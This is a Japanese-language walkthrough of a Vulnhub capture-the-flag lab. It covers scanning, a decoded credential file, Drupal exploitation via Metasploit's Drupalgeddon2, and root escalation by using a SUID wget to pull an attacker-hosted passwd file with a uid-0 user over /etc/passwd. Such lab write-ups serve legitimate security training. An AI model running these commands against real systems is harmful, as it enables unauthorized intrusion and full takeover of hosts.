ターゲットの難易度:初級から中級
フラグの数:2
ツールと脆弱性情報#
- netdiscover
- nmap
- gobuster
- msf の Drupal 脆弱性利用モジュール
- SUID の wget 特権昇格
0x01 情報収集#
ターゲットのスキャン#
netdiscover
の-r
オプションを使用して192.168.1.0/16
をスキャンした結果は以下の通りです:
nmap
を使用してホストとポートの情報をスキャンします:
nmap -sS -A -n -T4 -p- 192.168.1.11
nmap
を使用して脆弱性情報をスキャンします:
nmap --script nmap-vulners -sV 192.168.1.11
msf
でcve
の脆弱性を検索します:search cve:CVE-2019-10082
利用可能なものはありません
パスのスキャン#
gobuster を使用してパスをスキャンします:
gobuster dir -u http://192.168.1.11 -s 200,301,302 -t 50 -q -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.txt,.html,.zip
私たちがよく知っている古い友人であるdrupal
と、奇妙なパスalexander.txt
が見つかりました。アクセスして以下の内容が表示されます:
KysrKysgKysrKysgWy0+KysgKysrKysgKysrPF0gPisrKysgKysuLS0gLS0tLS0gLS0uPCsgKytbLT4gKysrPF0gPisrKy4KLS0tLS0gLS0tLjwgKysrWy0gPisrKzwgXT4rKysgKysuPCsgKysrKysgK1stPi0gLS0tLS0gLTxdPi0gLS0tLS0gLS0uPCsKKytbLT4gKysrPF0gPisrKysgKy48KysgKysrWy0gPisrKysgKzxdPi4gKysuKysgKysrKysgKy4tLS0gLS0tLjwgKysrWy0KPisrKzwgXT4rKysgKy48KysgKysrKysgWy0+LS0gLS0tLS0gPF0+LS4gPCsrK1sgLT4tLS0gPF0+LS0gLS4rLi0gLS0tLisKKysuPA==
base64
でデコードするとBrainfuck code
が見つかります。オンラインデコーダーを使用してjames:Hacker@4514
にデコードします。
取得したアカウント情報を使用して SSH でターゲットにログインしようとしましたが、成功しませんでした。
0x02 一般ユーザーの getshell#
では、私たちの古い友人であるdrupal
に戻りましょう。以前にDC:7-Vulnhub Walkthrough
で紹介したdroopescan
を使用します:
git clone https://github.com/droope/droopescan
cd droopescan
pip install -r requirements.txt
./droopescan scan drupal -u http://192.168.1.12/drupal -t 32
スキャン結果は7.57
バージョンであり、このバージョンには脆弱性が含まれています:
msf
を起動し、効果の高いモジュールexploit/unix/webapp/drupal_drupalgeddon2
を使用します:
meterpreter
セッションを取得し、シェルに入ると、再び表示されない環境になりました。そのため、python
を使用してtty
を取得します:
python -c 'import pty; pty.spawn("/bin/bash")'
`python2`がインストールされていない場合は、以下のように変更する必要があります:
python3 -c 'import pty; pty.spawn("/bin/bash")'
clear
コマンドを使用して画面をクリアしたい場合は、TERM
環境変数にscreen
を設定するだけです。
export TERM=screen
と入力し、screen
を入力して画面をクリアできます。
0x03 root への昇格#
一般的な Linux の昇格方法は次の 3 つのカテゴリに分けられます:
- ローカル昇格
- データベース昇格
- サードパーティソフトウェア昇格
サードパーティソフトウェアの昇格では、通常suid
を使用して昇格します。
suid
権限を持つコマンドを確認するために、前の記事「bossplayersCTF:1-Vulnhub Walkthrough」で説明したsuid
昇格を使用します。
find / -perm -u=s -type f 2>/dev/null
- /: ルートディレクトリで検索する
- perm: 指定されたパーミッションのファイルを検索する。/u=s または - u=s オプションは、システム内のすべての
suid
ファイルをリストします。 - type: 指定されたファイルタイプに一致するファイルを検索します。-type f: 指定されたディレクトリ内のすべての通常のファイルをリストします。
- 2>/dev/null: 2 > の部分は「ファイルチャネル 2 をリダイレクトする」という意味で、stderr にマッピングされる標準エラーファイルチャネルです。プログラムがエラーを書き込む場所です。/dev/null は特殊な文字デバイスで、そこに書き込むことしか許可されていません。読み取り時には何も返さず、したがって 2>/dev/null は、実行中のプログラムの標準エラーを /dev/null にリダイレクトし、効果的に無視します。
- SUID: SUID (Set owner User ID up on execution) のことです。簡単に言えば、suid は、所有者の権限の実行ビットに表示され、この権限を持つファイルは、実行時に呼び出し元に所有者の権限を一時的に与えます。したがって、root が所有者であり、実行ビットに s があるファイルを見つけると、通常のユーザーがそのファイルを実行する場合でも、そのファイルの実行権限は root です。
一般的なsuid
昇格ツールであるwget
が見つかりました。wget
昇格の手順は次のとおりです:
- 攻撃者のマシンで
openssl
を使用して暗号化パスワードを生成します。 - いくつかの特殊なフラグを組み合わせて、ユーザーハッシュ情報を
passwd
ファイルに書き込みます。 - ターゲットマシンの完全なシェルで
wget
を使用してpasswd
ファイルをダウンロードし、ターゲットマシンの/etc/passwd
を上書きします。 - 手動で作成したユーザーに切り替えて、設定したパスワードを入力して
root
権限を取得します。
具体的な手順は以下の通りです:
パスワードハッシュを生成します。パスワードの部分は任意のものに変更してください:
openssl passwd -1 -salt salt soapffz
いくつかのフラグを追加してファイルに書き込みます:
echo 'soapffz:$1$salt$dyEMWdWzqBIZJWWvteXEg0:0:0::/root/:/bin/bash' >> passwd
次に、シェル内でファイルをダウンロードします(/etc フォルダ内):
wget http://192.168.1.11/passwd -O passwd
su soapffz
これでroot
シェルに成功しました。
参考文献: